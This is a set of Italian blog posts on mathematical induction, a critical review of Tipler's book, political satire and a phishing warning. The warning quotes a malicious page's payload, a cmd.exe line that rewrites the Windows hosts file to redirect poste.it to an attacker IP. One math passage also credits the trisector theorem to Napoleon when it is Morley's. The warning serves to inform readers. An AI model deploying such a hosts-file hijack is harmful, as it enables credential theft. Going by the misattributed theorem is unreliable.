Qualche giorno fa ho
iniziato a parlare dell’induzione matematica.
Dopo aver parlato di induzione solo dal punto di vista teorico, vediamo un esempio esplicito di dimostrazione per induzione, mostrando che la somma dei numeri dispari da 1 a 2n+1 è uguale a (n+1)2. Il passo iniziale è semplicissimo: quando n=0, la somma dei numeri da 1 a 1 fa 1, che è esattamente il quadrato di 1. Più facile vederlo che spiegarlo. Immaginiamo ora che l’ipotesi valga fino a un certo n, e proviamo a vedere cosa succede con n+1. La somma dei numeri dispari da 1 a 2(n+1)+1, cioè da 1 a 2n+3, è pari a 2n+3 più la somma dei numeri dispari da 1 a 2n+1, che per ipotesi induttiva è (n+1)2, cioè n2+2n+1. Facendo la somma otteniamo n2+4n+4, che guarda caso vale proprio (n+2)2. Fine della dimostrazione: con un solo caso generale abbiamo dimostrato l’ipotesi per gli infiniti casi particolari.
Tutto questo è bellissimo, ma siete stati attenti c’è qualcosa che non va.Il guaio non è nella dimostrazione, che non è poi così difficile: si fanno giusto un po’ di giochetti formali coi numeri e si arriva al risultato, e questo capita spesso quando si usa l’induzione, tanto che a volte mi chiedo se nessuno abbia mai fatto un sistema di intelligenza artificiale che sappia risolvere problemi per induzione. Ma come facevamo a sapere che il risultato era proprio quello indicato nel teorema? Chi ce l’ha suggerito? Insomma, l’induzione è un bieco trucco; riusciamo solo a dimostrare qualcosa che conosciamo già. La cosa è spiazzante soprattutto per chi è rimasto alla concezione che purtroppo viene insegnata a scuola, vale a dire che la matematica sia qualcosa di perfettamente lucidato, con i teoremi che sono così perché non potrebbero essere diversi, e che scendono dall’alto come novelli deus ex machina. No, non è affatto così. La matematica avanza per tentativi ed errori, ed è solo in un secondo tempo che ci si affretta a togliere tutte le impalcature e lasciare solo il risultato finale per l’ammirazione del popolo. Per quanto riguarda l’induzione, quello che succede di solito è che il matematico fa un’ipotesi su quale possa essere il risultato, e poi controlla se ha ragione; proprio come un meccanico che ascolta il rumore di un motore e fa una diagnosi. Il vantaggio del matematico, se volete, è che non si sporca le mani… a meno che la penna con cui sta scrivendo non perda inchiostro!
Do solo un accenno a un’estensione del principio di induzione, che potete tranquillamente lasciar che è un parallelo della teoria cantoriana degli infiniti. L’induzione classica si applica all’infinito numerabile, ma si può anche parlare di induzione transfinita; in questo caso su dice che “se una proprietà P vale per zero, e quando vale per tutti gli ordinali minori di ψ, allora P vale anche per ψ, allora vale per tutti gli ordinali.” Come in tutte queste eteree proprietà logiche, l’induzione transfinita è indipendente da quella standard, nel senso che uno può accettarla oppure no e il resto della matematica va avanti tranquillo; se lo si accetta, però, l’induzione standard ci viene data gratis. Un esempio a riguardo è il teorema di Goodstein, che non è decidibile usando gli assiomi di Peano ma è vero se si ammette l’induzione transfinita.
Termino con un paradosso matematico basato sull’induzione, che “dimostra” come tutti i cavalli sono dello stesso colore. Prendiamo un insieme di n cavalli. Nel caso n=1 la tesi è banalmente vera. Per un n qualunque, numeriamo i cavalli e togliamo il numero 1. Rimangono n-1 cavalli, che per ipotesi induttiva sono tutti dello stesso colore. Ma se rimettiamo il numero 1 e ne togliamo un altro, abbiamo di nuovo n-1 cavalli, che sono sempre dello stesso colore di prima. A questo punto, visto che i due insiemi hanno un’intersezione in comune, è chiaro che tutti e n i cavalli sono dello stesso colore. O no?
Archivi autore: .mau.
Cosa ho imparato ieri – #2
La raccolta di firme per le elezioni serve solo ad evitare che i movimentucoli rompano le palle; per gli altri è solo una simpatica iniziativa folcloristica.
Cosa ho imparato ieri – #1
Se un poliziotto ha detto che va tutto bene, è inutile che io avvisi che c’è una rapina in corso.
gioco della domenica: Record Tripping
Qual è la novità di Record Tripping? il dover usare anche la rotella del mouse, e non solo i tasti e il movimento. Il gioco di per sé ricorda quei labirinti che nei primi anni ’70 ti capitava di trovare sul tappo dei tubetti per fare le bolle di sapone, in cui dovevi riuscire a portare la pallina al centro. La complicazione maggiore è che la vista del labirinto non è proprio diretta, e quindi c’è un problemino in più. Ma sono sicuro che ce la farete!
(via Passion for Puzzles)
_La fisica del cristianesimo_ (libro)
È una sorta di par condicio. Avendo letto a suo tempo (e non apprezzato per nulla…) Il Tao della fisica di Fritjof Capra con l’associazione delle religioni orientali alla fisica contemporanea, mi è sembrato interessante vedere l’altra campana religiosa: la fisica vista dagli occhi di un cristiano, o meglio il cristianesimo visto dal punto di vista di un fisico. Frank Tipler, l’autore di questo libro (Frank J. Tipler, La fisica del cristianesimo [The Physics od Christianity], Mondadori 2008 [2007], pag. 361, € 19, ISBN 978-88-04-57599-3, trad. Tullio Cannillo) è noto per aver scritto con John Barrow Il principio antropico, e questa è la sua seconda opera al riguardo. Tipler non è certo uno che usi mezze misure. Parte dalle leggi fisiche validate dagli esperimenti come la relatività generale, la legge elettrodebole, il modello standard e l’interpretazione dei molti mondi, che per lui è la realtà dei molti mondi. Da qui deduce che devono per forza esserci due singolarità in cui non valgono le leggi fisiche, una alla fine dei tempi (Dio Padre) e una all’inizio (lo Spirito Santo). Poi c’è una terza singolarità che pervade – non ho capito bene come – tutto il multiverso; questa è il Figlio. Da qui parte tutta la sua visione sincretica tra fisica e religione. Devo dire che alcuni punti teologici sono interessanti. Per esempio, l’onniscienza di Dio deriva dal vedere lo spazio-tempo-multiverso come un tutt’uno che a livello superiore è statico; il libero arbitrio deriva dal fatto che se ci sono tutti gli universi possibili, ci saranno quelli in cui farò un’azione e quelli in cui non la farò, e la Singolarità può sapere le percentuali ma non i risultati della singola persona a causa delle leggi quantistiche. Anche i miracoli sono correttamente indicati come fatti non impossibili ma semplicemente assai improbabili. Detto questo, la maggior parte delle idee esposte non hanno fondamenti validi, soprattutto dal punto di vista matematico; l’equivalenza delle diverse successioni di Cauchy – e non del punto limite – oppure l’irrigidirsi sulla definizione di probabilità solamente come misura dell’ignoranza servono alla sua tesi, ma sono difficilmente accettabili aprioristicamente. Non parliamo poi del suo atteggiamento dove il principio antropico è portato a estremi letteralmente incredibili o degli esperimenti che propone per dimostrare la validità delle sue ipotesi, al di fuori delle possibilità attuali e quindi non invalidabili, oltre che essere spesso confusi. Ad esempio per verificare che l’Uomo della Sindone sia un maschio XX dove i geni tipici dell’Y si sono spostati in un X (cosa di per sé possibile) dice di cercare alleli X senza pensare alle possibili contaminazioni. Ah, Maria sarebbe nata senza un gene codificante il comportamento violento (il peccato originale!) e Gesù sarebbe il risultato di una specie di autofecondazione per quanto riguarda la materia fisica… Insomma, come Hard SF siamo messi bene, ma come scienza molto, molto meno. Noticina: Tipler non è antisemita, ma in compenso è antimusulmano… La traduzione di Tullio Cannillo è scorrevole; ho solo trovato un paio di punti non troppo chiari.
De Creto
Leggo dal Corsera: Il ministro dell’Interno, Roberto Maroni, ha spiegato che non è stata effettuata alcuna modifica alla legge elettorale e che «non c’è stata alcuna riapertura dei termini»: «Abbiamo dato un’interpretazione per consentire al Tar di dare applicazione alla legge in modo corretto».
Mi immagino il testo del decreto: «Interpretando il nome del loro partito, le liste del Popolo della Libertà hanno libertà di essere popolate come e quando vogliono.»
Naturalmente nessuno si stupisce che questo governo faccia un decreto legge per le sue liste: o pensate ancora che esista il concetto di interessi conflittuali?
(ps: lo sapete, vero, che io non ho il diritto di voto qui in Lombardia? Non è stata ammessa nessuna lista che mi possa rappresentare)
sfruttare la paura dell’autovelox
Mario mi invia un messaggio di phishing proprio “simpatico” che gli è arrivato (e che gmail fortunatamente mette nello spam).
Il messaggio ha come titolo Autovelox e Tutor: dove sono?, il sedicente mittente è info@auto.it, la provenienza sembra essere dall’IP 192.168.74.6, e racconta di come la polstrada abbia messo un sito dove sono indicate le postazioni degli autovelox (vero). Cosa succede però se si apre il link, che – come forse avete immaginato – NON è al sito della Polizia Stradale?
Il codice HTML di quella pagina contiene tra l’altro queste righe:
<param name='first' value='cmd.exe /c echo 210.86.2.150 poste.it >>
%windir%\System32\drivers\etc\hosts & echo 210.86.2.150 www.poste.it
>> %windir%\System32\drivers\etc\hosts' >
Detto in termini meno criptici: se uno ha un PC con Windows, gira con i privilegi di amministratore, e ha un browser non troppo sveglio (Insomma Etilista) allora la pagina web fa in modo che la prossima volta che il malcapitato vuole andare nel sito www.poste.it sarà automaticamente rediretto al sito 210.86.2.150, che a sua volta (in questo momento, ma il bello della cosa è che possono cambiarlo quando vogliono!) punta a ftp://213.123.204.189/bpol/cartepre/index.html; che cosa faccia questo sito, ve lo lascio immaginare.
Come avrete intuito, la cosa pericolosa è che il phishing vero e proprio arriva in un secondo momento, e quindi l’ignaro utente non si accorge di nulla. Sapevàtelo!
L’induzione matematica [1/2]
Lo sappiamo tutti: Sherlock Holmes è il principe della deduzione. Almeno, ci è sempre stato venduto in questo modo, anche se poi a guardar bene anche l’investigatore dal naso adunco – o meglio Arthur Conan Doyle – spesso barava e tirava fuori dal cappello alcune informazioni che non erano state date al lettore, oppure giungeva a conclusioni non certe ma altamente probabili. I filosofi affermano che il metodo holmesiano si dovrebbe più correttamente definire abduzione, come lo pseudosillogismo che da una premessa maggiore corretta (“tutti gli uomini sono mortali”) e una minore molto probabile (“Giulio Andreotti dovrebbe essere un uomo”) conclude con una conseguenza molto probabile (“si presume che prima o poi Andreotti morirà”). A proposito di abduzione, attenti ai falsi amici! In inglese “abduction” è il rapimento, soprattutto se da parte di alieni… ma non divaghiamo.
Il vero regno del campo deduttivo è naturalmente la matematica, dove si inizia a mettere i paletti (gli assiomi e i postulati) e da lì si va man mano avanti a dedurre i vari teoremi, come abbiamo tutti imparato quando abbiamo studiato geometria. Se ci pensarte un po’, però, la deduzione è un percorso in un certo qual senso sterile; tutto quello che deduciamo, per quanto possa sembrare incredibile – avete presente il cosiddetto teorema di Napoleone? Se si disegnano le trisettrici di un triangolo qualunque, queste si incontrano a due a due nei vertici di un triangolo equilatero – era già presente in nuce negli assiomi e postulati iniziali. Non abbiamo inventato nulla, ma solo scoperto quello che c’era già fin dall’inizio. Ripensandoci, non è affatto strano che la gran maggioranza dei matematici sia fondamentalmente della scuola platonista; a furia di trarre conseguenze logiche di quello che hai, ti inizia a sorgere il dubbio che gli enti matematici sono tutti lì da qualche parte, un po’ come in Flatterlandia.
Eppure anche in matematica c’è un modo per tirare fuori qualcosa di nuovo: l’induzione (“induzione matematica” se si vuole fare i precisini, ma in genere l’aggettivo si omette perché è chiaro che si sta facendo matematica). Anche nel mondo di tutti i giorni si parla di “procedimento induttivo” , ma in realtà è tutta un’altra cosa; si vedono alcune correlazioni, per esempio che quando spunta il sole settembrino dopo un temporale si trovano molti funghi, e si stabilisce una legge generale, che il sole dopo la pioggia faccia crescere i funghi. Tale legge può però essere vera o falsa, ed è solo un risultato empirico che fa rabbrividire un qualunque matematico se applicato alla propria scienza. Qui si tratta di qualcosa di completamente diverso.
La formalizzazione dell’induzione matematica è stata data da Giuseppe Peano nella sua definizione dei numeri naturali. Gli assiomi di Peano sono cinque, come i postulati della geometria euclidea; l’induzione è l’ultimo e il più complicato da spiegare, proprio come in geometria euclidea. Dopo avere stabilito per legge che 0 è un numero, che esiste una funzione S (“successore”) tale che se n è un numero anche S(n) è un numero (“per quanto grande sia un numero, posso sommarci uno”), che non esiste un numero x tale che S(x) = 0 (“zero è il primo numero”), e che se ci sono due numeri m e n per cui S(m) = S(n) allora m = n (“posso mettere tutti i numeri in fila”), il quinto assioma dice che “Se una proprietà P vale per 0 – cioè P(0) è vera – e sappiamo inoltre che se P vale per n allora vale anche per S(n), allora P vale per tutti i numeri naturali”. Per amor di precisione, il quinto assioma di Peano afferma che non ci sono altri numeri naturali al di fuori di questi, ma è un punto secondario. In un certo senso, questo quinto assioma ricorda il postulato delle parallele: molto più complicato degli altri, uno si chiede se è proprio necessario e non si possa invece farne a meno. La risposta è però molto diversa, come vedremo subito.
La cosa che dovrebbe subito saltare alla vista è che il quinto assioma di Peano, a differenza degli altri, tratta con l’infinito. Gli altri assiomi lavorano tutti con un numero o due; anche dire “se esiste il numero un fantastiliardo, allora esiste anche un fantastiliardo e uno” è una proprietà locale. Col quinto assioma, invece, dobbiamo prendere tutti i numeri contemporaneamente. L’immagine che io ho in mente è quella di un numero infinito di tessere del domino messe ritte in piedi una vicina all’altra. Forse avete visto quei video in cui ci si limita a dare un colpetto alla prima tessera, che cadendo tocca la seconda che a sua volta cade colpendo la terza… finché tutta la costruzione finisce giù per terra. Ecco, l’induzione è esattamente la stessa cosa, solo che le tessere sono infinite. Per la cronaca, esistono due definizioni di induzione: nell’induzione forte, invece che solo per n, la proprietà P deve valere per tutti i numeri inferiori o uguali a n, perché valga anche per n+1. Ma in realtà le due formulazioni sono equivalenti, e si può scegliere l’una o l’altra a seconda della comodità. Inoltre non è affatto detto che l’ipotesi induttiva debba partire necessariamente da 0; la proprietà può essere valida da un certo numero k, e ovviamente il risultato sarà valido per ogni intero maggiore o uguale a k. Così, se vogliamo dimostrare per induzione che la somma degli angoli di un poligono convesso di n lati è pari a n-2 angoli piatti, partiremo dal triangolo e non certo da un ipotetico poligono con zero lati!
[non è tutto qua, vai alla seconda parte]